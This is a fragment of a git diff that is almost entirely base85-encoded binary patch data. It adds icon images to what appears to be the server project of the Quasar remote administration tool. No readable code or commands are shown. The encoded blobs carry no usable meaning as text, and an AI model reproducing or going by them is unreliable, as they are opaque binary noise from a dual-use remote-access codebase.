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 Zv48BIiBW1BEgrSn+LipDfB(NN@ISg&Rb&7F literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/accept.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/accept.png new file mode 100755 index 0000000000000000000000000000000000000000..89c8129a490b329f3165f32fa0781701aab417ea GIT binary patch literal 781 zcmV+o1M>WdP)4-QibtN)VXQDpczE`xXAkUjh%RI>;okxb7K@0kpyQ1k_Y(|Oe7$m(^ zNYX>mI||sUbmn+c3<&FnE=4u#()KBS^SH8e)Qs5i!#lY=$-1gbH6VluzU=m=EP78&5vQ z-?+fFP-G2l&l_QzYealK$;1Rl?FkzXR&Jv@fBPNjCr#AYRyJ7UJQ0v#?)7Ott=>3`#-pV!7>9}>Q1jL)H6h&gkP@3nI=+F3nA~M>u#(n* z8T!#8oEw&-mED4!h4s!N@Jo3S7N&Q6%6l3}nlcd~X@>;uelvPsSkXIgg~e+^T1zSf z3SNj(5%jK~i8@b;C9VHk(~TedF+gQSL8D5xnVSSWAVY>J9b+m>@{iq7_KE}go~11+5s4;8hc+i0Xa zI1j@EX5!S+Me6HNqKzU5YQwL;-W5$p%ZMKMeR<%zp69-~?<4?8|C8S?bklXr4v&Ov zb&06v2|-x?qB`90yn>Qi%Sh2^G4n)$ZdyvTPf9}1)_buUT7>`e2G&2VU@~Bb(o+Mz zi4)>IxlSY${Dj4k={-9RzU^W5g9|2V5RZ2ZulL9s2xQbZ@r6eP9Ra5u(s|C0Nj#&4>wTSkb?%#=9?@ z^oxDy-O@tyN{L@by(WWvQ3%CyEu8x{+#Jb4-h&K9Owi)2pgg+heWDyked|3R$$kL@A z#sp1v-r+=G4B8D6DqsDH0@7OztA7aT9qc1Py{()w`m``?Y0&gi2=ROcc-9+nU^I6< zT=e_Y=vSnG@?3Ue{BW5ONFttcE!R-R_W4O01|0-|K-YNXLo2`4Qv z`r1LxR6#yf3FB%T95gJnaKKivA~Z}S9A(ZxEDK}O3T04USJ P00000NkvXXu0mjf^IS-S literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Resources/Silk/anchor.png b/Quasar-1.4.1/Quasar.Server/Resources/Silk/anchor.png new file mode 100755 index 0000000000000000000000000000000000000000..9b3422c61e5d23434d085834b82eed7a7363976e GIT binary patch literal 523 zcmV+m0`&cfP)JNR5;6} zQ!#78Koq{K0R;zL3K^ueKcPdX4$`e#^8*A?$4(UrP73NEC=L?Wb`e}#+M#4AI28&O z(h7D{iBLo^6ibLnntoS;4W+RSeem(_-M#O-mv=AJwr%ns(1oktvOHk&-Wjo2=gN^Bj3SRR*}a0NpG5_ zolK`M<47b@MJ$6*<9VLqM#|QJ9FOl*`~9c!VzJ0#yuW&YL-uTJXs#7SsfEK~0YXX4 z0b#F1DNRn42?6;6#8Y4fXr9klsZ0WbcEP)8e6`gpm!y1M!N^ZV(=IC*t) 